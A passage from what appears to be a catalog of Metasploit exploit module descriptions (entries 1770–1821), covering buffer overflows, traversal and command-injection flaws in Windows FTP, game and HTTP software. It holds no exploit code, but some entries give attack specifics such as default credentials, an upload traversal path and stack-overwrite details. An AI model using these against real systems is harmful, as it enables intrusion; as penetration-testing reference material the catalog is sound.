  methods between Linux and Windows" presented at the Blackhat
  conference.

End Exploit Number 1770

Begin Exploit Number 1771
       Name: Oracle 9i XDB FTP UNLOCK Overflow (win32)
     Module: exploit/windows/ftp/oracle9i_xdb_ftp_unlock
   Platform: Windows
```

```
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-08-18

Payload information:
  Space: 800
  Avoid: 4 characters

Description:
  By passing an overly long token to the UNLOCK command, a 
  stack based buffer overflow occurs. David Litchfield, has 
  illustrated multiple vulnerabilities in the Oracle 9i XML 
  Database (XDB), during a seminar on "Variations in exploit 
  methods between Linux and Windows" presented at the Blackhat 
  conference. Oracle9i includes a number of default accounts, 
  including dbsnmp:dbsmp, scott:tiger, system:manager, and 
  sys:change_on_install.

End Exploit Number 1771

Begin Exploit Number 1772
       Name: PCMAN FTP Server Buffer Overflow - PUT Command
     Module: exploit/windows/ftp/pcman_put
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-08-07

Payload information:
  Space: 1000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow vulnerability found in the 
PUT command of the
  PCMAN FTP v2.0.7 Server. This requires authentication but by default 
anonymous
  credentials are enabled.

End Exploit Number 1772

Begin Exploit Number 1773
       Name: PCMAN FTP Server Post-Authentication STOR Command Stack 
Buffer Overflow
     Module: exploit/windows/ftp/pcman_stor
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-06-27

Payload information:
  Space: 1000
  Avoid: 6 characters

Description:
  This module exploits a buffer overflow vulnerability found in the 
STOR command of the
  PCMAN FTP v2.07 Server when the "/../" parameters are also sent to 
the server. Please
  note authentication is required in order to trigger the 
vulnerability. The overflowing
  string will also be seen on the FTP server log console.

End Exploit Number 1773

Begin Exploit Number 1774
       Name: ProFTP 2.9 Banner Remote Buffer Overflow
     Module: exploit/windows/ftp/proftp_banner
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-08-25

Payload information:
  Space: 1000
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in the ProFTP 2.9
  client that is triggered through an excessively long welcome 
message.

End Exploit Number 1774

Begin Exploit Number 1775
       Name: QuickShare File Server 1.2.1 Directory Traversal 
Vulnerability
     Module: exploit/windows/ftp/quickshare_traversal_write
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2011-02-03

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in QuickShare File 
Server's FTP
  service.  By supplying "../" in the file path, it is possible to 
trigger a
  directory traversal flaw, allowing the attacker to read a file 
outside the
  virtual directory.  By default, the "Writable" option is enabled 
during account
  creation, therefore this makes it possible to create a file at an 
arbitrary
  location, which leads to remote code execution.

End Exploit Number 1775

Begin Exploit Number 1776
       Name: Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow
     Module: exploit/windows/ftp/ricoh_dl_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-03-01

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 
FTP
  service.  By supplying a long string of data to the USER command, it 
is
  possible to trigger a stack-based buffer overflow, which allows 
remote code
  execution under the context of the user.

    Please note that in order to trigger the vulnerability, the server 
must
  be configured with a log file name (by default, it's disabled).

End Exploit Number 1776

Begin Exploit Number 1777
```

```
       Name: Sami FTP Server LIST Command Buffer Overflow
     Module: exploit/windows/ftp/sami_ftpd_list
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Low
  Disclosed: 2013-02-27

Payload information:
  Space: 1500
  Avoid: 5 characters

Description:
  This module exploits a stack based buffer overflow on Sami FTP 
Server 2.0.1.
  The vulnerability exists in the processing of LIST commands. In 
order to trigger
  the vulnerability, the "Log" tab must be viewed in the Sami FTP 
Server managing
  application, in the target machine. On the other hand, the source IP 
address used
  to connect with the FTP Server is needed. If the user can't provide 
it, the module
  will try to resolve it. This module has been tested successfully on 
Sami FTP Server
  2.0.1 over Windows XP SP3.

End Exploit Number 1777

Begin Exploit Number 1778
       Name: KarjaSoft Sami FTP Server v2.0.2 USER Overflow
     Module: exploit/windows/ftp/sami_ftpd_user
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-01-24

Payload information:
  Space: 800
  Avoid: 5 characters

Description:
  This module exploits an unauthenticated stack buffer overflow in 
  KarjaSoft Sami FTP Server version 2.0.2 by sending an overly long 
  USER string during login.

  The payload is triggered when the administrator opens the 
```

```
application
  GUI. If the GUI window is open at the time of exploitation, the
  payload will be executed immediately. Keep this in mind when
selecting
  payloads. The application will crash following execution of the
  payload and will not restart automatically.

  When the application is restarted, it will re-execute the payload
  unless the payload has been manually removed from the SamiFTP.binlog
  log file.

  This module has been tested successfully on Sami FTP Server
versions:
  2.0.2 on Windows XP SP0 (x86);
  2.0.2 on Windows 7 SP1 (x86);
  2.0.2 on Windows 7 SP1 (x64); and
  2.0.2 on Windows 10 (1909) (x64).

End Exploit Number 1778

Begin Exploit Number 1779
       Name: Sasser Worm avserve FTP PORT Buffer Overflow
     Module: exploit/windows/ftp/sasser_ftpd_port
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-05-10

Payload information:
  Space: 480
  Avoid: 14 characters

Description:
  This module exploits the FTP server component of the Sasser worm.
  By sending an overly long PORT command the stack can be overwritten.

End Exploit Number 1779

Begin Exploit Number 1780
       Name: ScriptFTP LIST Remote Buffer Overflow
     Module: exploit/windows/ftp/scriptftp_list
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-10-12
```

```
Payload information:
  Avoid: 6 characters

Description:
  AmmSoft's ScriptFTP client is susceptible to a remote buffer 
overflow
  vulnerability that is triggered when processing a sufficiently long
  filename during a FTP LIST command resulting in overwriting the
  exception handler. Social engineering of executing a specially 
crafted
  ftp file by double click will result in connecting to our malicious
  server and perform arbitrary code execution which allows the 
attacker to
  gain the same rights as the user running ScriptFTP. This 
vulnerability
  affects versions 3.3 and earlier.

End Exploit Number 1780

Begin Exploit Number 1781
       Name: Seagull FTP v3.3 Build 409 Stack Buffer Overflow
     Module: exploit/windows/ftp/seagull_list_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in the Seagull FTP client 
that gets
  triggered when the ftp client processes a response to a LIST 
command. If the
  response contains an overly long file/folder name, a buffer overflow 
occurs,
  overwriting a structured exception handler.

End Exploit Number 1781

Begin Exploit Number 1782
       Name: Serv-U FTP Server Buffer Overflow
     Module: exploit/windows/ftp/servu_chmod
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2004-12-31

Payload information:
  Avoid: 14 characters

Description:
  This module exploits a stack buffer overflow in the site chmod
command
  in versions of Serv-U FTP Server prior to 4.2.

  You must have valid credentials to trigger this vulnerability.
Exploitation
  also leaves the service in a non-functional state.

End Exploit Number 1782

Begin Exploit Number 1783
       Name: Serv-U FTPD MDTM Overflow
     Module: exploit/windows/ftp/servu_mdtm
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2004-02-26

Payload information:
  Space: 1000
  Avoid: 14 characters

Description:
  This is an exploit for the Serv-U\'s MDTM command timezone
  overflow. It has been heavily tested against versions
  4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
  nt4/2k/xp/2k3. I have also had success against version 3,
  but only tested 1 version/os. The bug is in all versions
  prior to 5.0.0.4, but this exploit will not work against
  versions not listed above. You only get one shot, but it
  should be OS/SP independent.

  This exploit is a single hit, the service dies after the
  shellcode finishes execution.

End Exploit Number 1783

Begin Exploit Number 1784
       Name: SlimFTPd LIST Concatenation Overflow
     Module: exploit/windows/ftp/slimftpd_list_concat
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: BSD License
       Rank: Great
  Disclosed: 2005-07-21

Payload information:
  Space: 490
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in the SlimFTPd
  server. The flaw is triggered when a LIST command is
  received with an overly-long argument. This vulnerability
  affects all versions of SlimFTPd prior to 3.16 and was
  discovered by Raphael Rigo.

End Exploit Number 1784

Begin Exploit Number 1785
       Name: Trellian FTP Client 3.01 PASV Remote Buffer Overflow
     Module: exploit/windows/ftp/trellian_client_pasv
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-04-11

Payload information:
  Space: 900
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in the Trellian 3.01 FTP
client that is triggered
  through an excessively long PASV message.

End Exploit Number 1785

Begin Exploit Number 1786
       Name: Turbo FTP Server 1.30.823 PORT Overflow
     Module: exploit/windows/ftp/turboftp_port
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-10-03
```

```
Payload information:
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow vulnerability found in the
PORT
  command in Turbo FTP Server 1.30.823 & 1.30.826, which results in
remote
  code execution under the context of SYSTEM.

End Exploit Number 1786

Begin Exploit Number 1787
       Name: Vermillion FTP Daemon PORT Command Memory Corruption
     Module: exploit/windows/ftp/vermillion_ftpd_port
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-09-23

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits an out-of-bounds array access in the Arcane
Software
  Vermillion FTP server. By sending a specially crafted FTP PORT
command,
  an attacker can corrupt stack memory and execute arbitrary code.

  This particular issue is caused by processing data bound by attacker
  controlled input while writing into a 4 byte stack buffer.
Unfortunately,
  the writing that occurs is not a simple byte copy.

  Processing is done using a source ptr (p) and a destination pointer
(q).
  The vulnerable function walks the input string and continues while
the
  source byte is non-null. If a comma is encountered, the function
increments
  the destination pointer. If an ascii digit [0-9] is encountered, the
  following occurs:

    *q = (*q * 10) + (*p - '0');

  All other input characters are ignored in this loop.
  As a consequence, an attacker must craft input such that
modifications
  to the current values on the stack result in usable values. In this
exploit,
  the low two bytes of the return address are adjusted to point at the
  location of a 'call edi' instruction within the binary. This was
chosen
  since 'edi' points at the source buffer when the function returns.

  NOTE: This server can be installed as a service using "vftpd.exe
install".
  If so, the service does not restart automatically, giving an
attacker only
  one attempt.

End Exploit Number 1787

Begin Exploit Number 1788
       Name: War-FTPD 1.65 Password Overflow
     Module: exploit/windows/ftp/warftpd_165_pass
   Platform: Windows
       Arch: 
 Privileged: No
    License: BSD License
       Rank: Average
  Disclosed: 1998-03-19

Payload information:
  Space: 424
  Avoid: 4 characters

Description:
  This exploits the buffer overflow found in the PASS command
  in War-FTPD 1.65. This particular module will only work
  reliably against Windows 2000 targets. The server must be
  configured to allow anonymous logins for this exploit to
  succeed. A failed attempt will bring down the service
  completely.

End Exploit Number 1788

Begin Exploit Number 1789
       Name: War-FTPD 1.65 Username Overflow
     Module: exploit/windows/ftp/warftpd_165_user
   Platform: Windows
       Arch: 
 Privileged: No
    License: BSD License
       Rank: Average
  Disclosed: 1998-03-19

Payload information:
  Space: 424
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow found in the USER command
  of War-FTPD 1.65.

End Exploit Number 1789

Begin Exploit Number 1790
       Name: Texas Imperial Software WFTPD 3.23 SIZE Overflow
     Module: exploit/windows/ftp/wftpd_size
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-08-23

Payload information:
  Space: 500
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in the SIZE verb in
  Texas Imperial's Software WFTPD 3.23.

End Exploit Number 1790

Begin Exploit Number 1791
       Name: WinaXe 7.7 FTP Client Remote Buffer Overflow
     Module: exploit/windows/ftp/winaxe_server_ready
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2016-11-03

Payload information:
  Space: 1000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
  This issue is triggered when a client connects to the server and is
  expecting the Server Ready response.
```

```
End Exploit Number 1791

Begin Exploit Number 1792
       Name: Wing FTP Server Authenticated Command Execution
     Module: exploit/windows/ftp/wing_ftp_admin_exec
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-06-19

Payload information:

Description:
  This module exploits the embedded Lua interpreter in the admin web
interface for
  versions 3.0.0 and above. When supplying a specially crafted HTTP
POST request
  an attacker can use os.execute() to execute arbitrary system
commands on
  the target with SYSTEM privileges.

End Exploit Number 1792

Begin Exploit Number 1793
       Name: WS-FTP Server 5.03 MKD Overflow
     Module: exploit/windows/ftp/wsftp_server_503_mkd
   Platform: Windows
       Arch: 
 Privileged: No
    License: BSD License
       Rank: Great
  Disclosed: 2004-11-29

Payload information:
  Space: 480
  Avoid: 14 characters

Description:
  This module exploits the buffer overflow found in the MKD
  command in IPSWITCH WS_FTP Server 5.03 discovered by Reed
  Arvin.

End Exploit Number 1793

Begin Exploit Number 1794
       Name: Ipswitch WS_FTP Server 5.05 XMD5 Overflow
     Module: exploit/windows/ftp/wsftp_server_505_xmd5
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-09-14

Payload information:
  Space: 300
  Avoid: 14 characters

Description:
  This module exploits a buffer overflow in the XMD5 verb in
  IPSWITCH WS_FTP Server 5.05.

End Exploit Number 1794

Begin Exploit Number 1795
       Name: Xftp FTP Client 3.0 PWD Remote Buffer Overflow
     Module: exploit/windows/ftp/xftp_client_pwd
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-04-22

Payload information:
  Space: 434
  Avoid: 2 characters

Description:
  This module exploits a buffer overflow in the Xftp 3.0 FTP client
that is triggered
  through an excessively long PWD message.

End Exploit Number 1795

Begin Exploit Number 1796
       Name: Xlink FTP Client Buffer Overflow
     Module: exploit/windows/ftp/xlink_client
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-10-03

Payload information:
  Space: 550
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in Xlink FTP Client 32
  Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
  When an overly long FTP server response is received by a client,
  arbitrary code may be executed.

End Exploit Number 1796

Begin Exploit Number 1797
       Name: Xlink FTP Server Buffer Overflow
     Module: exploit/windows/ftp/xlink_server
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-10-03

Payload information:
  Space: 260
  Avoid: 14 characters

Description:
  This module exploits a stack buffer overflow in Xlink FTP Server
  that comes bundled with Omni-NFS Enterprise 5.2.
  When a overly long FTP request is sent to the server,
  arbitrary code may be executed.

End Exploit Number 1797

Begin Exploit Number 1798
       Name: Medal of Honor Allied Assault getinfo Stack Buffer
Overflow
     Module: exploit/windows/games/mohaa_getinfo
   Platform: Windows
       Arch:
 Privileged: No
    License: BSD License
       Rank: Great
  Disclosed: 2004-07-17

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  This module exploits a stack based buffer overflow in the getinfo
  command of Medal Of Honor Allied Assault.
```

```
End Exploit Number 1798

Begin Exploit Number 1799
       Name: Racer v0.5.3 Beta 5 Buffer Overflow
     Module: exploit/windows/games/racer_503beta5
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-08-10

Payload information:
  Space: 1000
  Avoid: 2 characters

Description:
  This module exploits the Racer Car and Racing Simulator game
  versions v0.5.3 beta 5 and earlier. Both the client and server
listen
  on UDP port 26000. By sending an overly long buffer we are able to
  execute arbitrary code remotely.

End Exploit Number 1799

Begin Exploit Number 1800
       Name: Unreal Tournament 2004 "secure" Overflow (Win32)
     Module: exploit/windows/games/ut2004_secure
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Good
  Disclosed: 2004-06-18

Payload information:
  Space: 512
  Avoid: 2 characters

Description:
  This is an exploit for the GameSpy secure query in
  the Unreal Engine.

  This exploit only requires one UDP packet, which can
  be both spoofed and sent to a broadcast address.
  Usually, the GameSpy query server listens on port 7787,
  but you can manually specify the port as well.

  The RunServer.sh script will automatically restart the
  server upon a crash, giving us the ability to
  bruteforce the service and exploit it multiple
  times.

End Exploit Number 1800

Begin Exploit Number 1801
       Name: Adobe RoboHelp Server 8 Arbitrary File Upload and Execute
     Module: exploit/windows/http/adobe_robohelper_authbypass
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-09-23

Payload information:

Description:
  This module exploits an authentication bypass vulnerability which
  allows remote attackers to upload and execute arbitrary code.

End Exploit Number 1801

Begin Exploit Number 1802
       Name: Advantech iView NetworkServlet Command Injection
     Module: exploit/windows/http/
advantech_iview_networkservlet_cmd_inject
   Platform: Windows
       Arch: x86, x64, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-28

Payload information:

Description:
  Versions of Advantech iView software below `5.7.04.6469` are
  vulnerable to an unauthenticated command injection vulnerability
  via the `NetworkServlet` endpoint.
  The database backup functionality passes a user-controlled
parameter,
  `backup_file` to the `mysqldump` command. The sanitization
functionality only
  tests for SQL injection attempts and directory traversal, so
leveraging the
  `-r` and `-w` `mysqldump` flags permits exploitation.
  The command injection vulnerability is used to write a payload on
the target
```

```
  and achieve remote code execution as NT AUTHORITY\SYSTEM.

End Exploit Number 1802

Begin Exploit Number 1803
       Name: Advantech iView Unauthenticated Remote Code Execution
     Module: exploit/windows/http/advantech_iview_unauth_rce
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-02-09

Payload information:

Description:
  This module exploits an unauthenticated configuration change
combined
  with an unauthenticated file write primitive, leading to an
arbitrary
  file write that allows for remote code execution as the user running
  iView, which is typically NT AUTHORITY\SYSTEM.

  This issue was demonstrated in the vulnerable version 5.7.02.5992
and
  fixed in version 5.7.03.6112.

End Exploit Number 1803

Begin Exploit Number 1804
       Name: AjaxPro Deserialization Remote Code Execution
     Module: exploit/windows/http/ajaxpro_deserialization_rce
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-03

Payload information:

Description:
  This module leverages an insecure deserialization of data to get
  remote code execution on the target OS in the context of the user
  running the website which utilized AjaxPro.

  To achieve code execution, the module will construct some JSON data
  which will be sent to the target. This data will be deserialized by
  the AjaxPro JsonDeserializer and will trigger the execution of the
  payload.

  All AjaxPro versions prior to 21.10.30.1 are vulnerable to this
  issue, and a vulnerable method which can be used to trigger the
  deserialization exists in the default AjaxPro namespace.

  AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom
  method that accepts a parameter of type that is assignable from
  `ObjectDataProvider` (e.g. `object`) exists, the vulnerability can
  still be exploited.

  This module has been tested successfully against official AjaxPro on
  version 7.7.31.1 without any modification, and on version 21.10.30.1
  with a custom vulnerable method added.

End Exploit Number 1804

Begin Exploit Number 1805
       Name: Alt-N SecurityGateway username Buffer Overflow
     Module: exploit/windows/http/altn_securitygateway
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-06-02

Payload information:
  Space: 476
  Avoid: 64 characters

Description:
  Alt-N SecurityGateway is prone to a buffer overflow condition. This
  is due to insufficient bounds checking on the "username"
  parameter. Successful exploitation could result in code
  execution with SYSTEM level privileges.

  NOTE: This service doesn't restart, you'll only get one shot.
However,
  it often survives a successful exploitation attempt.

End Exploit Number 1805

Begin Exploit Number 1806
       Name: Alt-N WebAdmin USER Buffer Overflow
     Module: exploit/windows/http/altn_webadmin
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Average
  Disclosed: 2003-06-24

Payload information:
  Space: 830
  Avoid: 13 characters

Description:
  Alt-N WebAdmin is prone to a buffer overflow condition. This
  is due to insufficient bounds checking on the USER
  parameter. Successful exploitation could result in code
  execution with SYSTEM level privileges.

End Exploit Number 1806

Begin Exploit Number 1807
       Name: Amlibweb NetOpacs webquery.dll Stack Buffer Overflow
     Module: exploit/windows/http/amlibweb_webquerydll_app
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-08-03

Payload information:
  Avoid: 15 characters

Description:
  This module exploits a stack buffer overflow in Amlib's Amlibweb
  Library Management System (NetOpacs). The webquery.dll
  API is available through IIS requests. By specifying
  an overly long string to the 'app' parameter, SeH can be
  reliably overwritten allowing for arbitrary remote code execution.
  In addition, it is possible to overwrite EIP by specifying
  an arbitrary parameter name with an '=' terminator.

End Exploit Number 1807

Begin Exploit Number 1808
       Name: Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell
Upload
     Module: exploit/windows/http/apache_activemq_traversal_upload
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-19
```

```
Payload information:

Description:
  This module exploits a directory traversal vulnerability
(CVE-2015-1830) in Apache
  ActiveMQ 5.x before 5.11.2 for Windows.

  The module tries to upload a JSP payload to the /admin directory via
the traversal
  path /fileserver/..\admin\ using an HTTP PUT request with the
default ActiveMQ
  credentials admin:admin (or other credentials provided by the user).
It then issues
  an HTTP GET request to /admin/<payload>.jsp on the target in order
to trigger the
  payload and obtain a shell.

End Exploit Number 1808

Begin Exploit Number 1809
       Name: Apache Win32 Chunked Encoding
     Module: exploit/windows/http/apache_chunked
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2002-06-19

Payload information:
  Space: 987
  Avoid: 8 characters

Description:
  This module exploits the chunked transfer integer wrap
  vulnerability in Apache version 1.2.x to 1.3.24. This
  particular module has been tested with all versions of the
  official Win32 build between 1.3.9 and 1.3.24. Additionally,
  it should work against most co-branded and bundled versions
  of Apache (Oracle 8i, 9i, IBM HTTPD, etc).

  You will need to use the Check() functionality to determine
  the exact target version prior to launching the exploit. The
  version of Apache bundled with Oracle 8.1.7 will not
  automatically restart, so if you use the wrong target value,
  the server will crash.

End Exploit Number 1809

Begin Exploit Number 1810
```

```
       Name: Apache Module mod_rewrite LDAP Protocol Buffer Overflow
     Module: exploit/windows/http/apache_mod_rewrite_ldap
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-07-28

Payload information:
  Space: 636
  Avoid: 4 characters

Description:
  This module exploits the mod_rewrite LDAP protocol scheme handling
  flaw discovered by Mark Dowd, which produces an off-by-one overflow.
  Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.
  This module requires REWRITEPATH to be set accurately. In addition,
  the target must have 'RewriteEngine on' configured, with a specific
  'RewriteRule' condition enabled to allow for exploitation.

  The flaw affects multiple platforms, however this module currently
  only supports Windows based installations.

End Exploit Number 1810

Begin Exploit Number 1811
       Name: Apache mod_jk 1.2.20 Buffer Overflow
     Module: exploit/windows/http/apache_modjk_overflow
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-03-02

Payload information:
  Space: 4000
  Avoid: 14 characters

Description:
  This is a stack buffer overflow exploit for mod_jk 1.2.20.
  Should work on any Win32 OS.

End Exploit Number 1811

Begin Exploit Number 1812
       Name: Apache Tika Header Command Injection
     Module: exploit/windows/http/apache_tika_jp2_jscript
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-04-25

Payload information:

Description:
  This module exploits a command injection vulnerability in Apache
  Tika 1.15 - 1.17 on Windows.  A file with the image/jp2 content-type 
is
  used to bypass magic bytes checking.  When OCR is specified in the
  request, parameters can be passed to change the parameters passed
  at command line to allow for arbitrary JScript to execute. A
  JScript stub is passed to execute arbitrary code. This module was
  verified against version 1.15 - 1.17 on Windows 2012.
  While the CVE and finding show more versions vulnerable, during
  testing it was determined only > 1.14 was exploitable due to
  jp2 support being added.

End Exploit Number 1812

Begin Exploit Number 1813
       Name: Avaya IP Office Customer Call Reporter ImageUpload.ashx 
Remote Command Execution
     Module: exploit/windows/http/avaya_ccr_imageupload_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-28

Payload information:

Description:
  This module exploits an authentication bypass vulnerability on Avaya 
IP Office
  Customer Call Reporter, which allows a remote user to upload 
arbitrary files
  through the ImageUpload.ashx component. It can be abused to upload 
and execute
  arbitrary ASP .NET code. The vulnerability has been tested 
successfully on Avaya IP
  Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 
SP2.

End Exploit Number 1813
```

```
Begin Exploit Number 1814
       Name: BadBlue 2.5 EXT.dll Buffer Overflow
     Module: exploit/windows/http/badblue_ext_overflow
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Great
  Disclosed: 2003-04-20

Payload information:
  Space: 500
  Avoid: 13 characters

Description:
  This is a stack buffer overflow exploit for BadBlue version 2.5.

End Exploit Number 1814

Begin Exploit Number 1815
       Name: BadBlue 2.72b PassThru Buffer Overflow
     Module: exploit/windows/http/badblue_passthru
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-12-10

Payload information:
  Space: 750
  Avoid: 15 characters

Description:
  This module exploits a stack buffer overflow in the PassThru
  functionality in ext.dll in BadBlue 2.72b and earlier.

End Exploit Number 1815

Begin Exploit Number 1816
       Name: BEA WebLogic JSESSIONID Cookie Value Overflow
     Module: exploit/windows/http/bea_weblogic_jsessionid
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-01-13

Payload information:
  Space: 800
  Avoid: 7 characters

Description:
  This module exploits a buffer overflow in BEA's WebLogic plugin. The
vulnerable
  code is only accessible when clustering is configured. A request
containing a
  long JSESSION cookie value can lead to arbitrary code execution.

End Exploit Number 1816

Begin Exploit Number 1817
       Name: Oracle Weblogic Apache Connector POST Request Buffer
Overflow
     Module: exploit/windows/http/bea_weblogic_post_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-07-17

Payload information:
  Space: 4000
  Avoid: 4 characters

Description:
  This module exploits a stack based buffer overflow in the BEA
  Weblogic Apache plugin.

  The connector fails to properly handle specially crafted HTTP POST
  requests, resulting a buffer overflow due to the insecure usage
  of sprintf.  Currently, this module works over Windows systems
without DEP,
  and has been tested with Windows 2000 / XP.

  In addition, the Weblogic Apache plugin version is fingerprinted
with a POST
  request containing a specially crafted Transfer-Encoding header.

End Exploit Number 1817

Begin Exploit Number 1818
       Name: BEA Weblogic Transfer-Encoding Buffer Overflow
     Module: exploit/windows/http/bea_weblogic_transfer_encoding
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Great
  Disclosed: 2008-09-09

Payload information:
  Space: 500
  Avoid: 3 characters

Description:
  This module exploits a stack based buffer overflow in the BEA
  Weblogic Apache plugin.  This vulnerability exists in the
  error reporting for unknown Transfer-Encoding headers.
  You may have to run this twice due to timing issues with handlers.

End Exploit Number 1818

Begin Exploit Number 1819
       Name: Belkin Bulldog Plus Web Service Buffer Overflow
     Module: exploit/windows/http/belkin_bulldog
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2009-03-08

Payload information:
  Space: 750
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Belkin Bulldog Plus
  4.0.2 build 1219. When sending a specially crafted http request,
  an attacker may be able to execute arbitrary code.

End Exploit Number 1819

Begin Exploit Number 1820
       Name: CA Arcserve D2D GWT RPC Credential Information Disclosure
     Module: exploit/windows/http/ca_arcserve_rpc_authbypass
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-25

Payload information:
  Space: 1000
  Avoid: 3 characters
```

```
Description:
  This module exploits an information disclosure vulnerability in the
CA Arcserve
  D2D r15 web server. The information disclosure can be triggered by
sending a
  specially crafted RPC request to the homepage servlet. This causes
CA Arcserve to
  disclosure the username and password in cleartext used for
authentication. This
  username and password pair are Windows credentials with
Administrator access.

End Exploit Number 1820

Begin Exploit Number 1821
       Name: CA iTechnology iGateway Debug Mode Buffer Overflow
     Module: exploit/windows/http/ca_igateway_debug
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
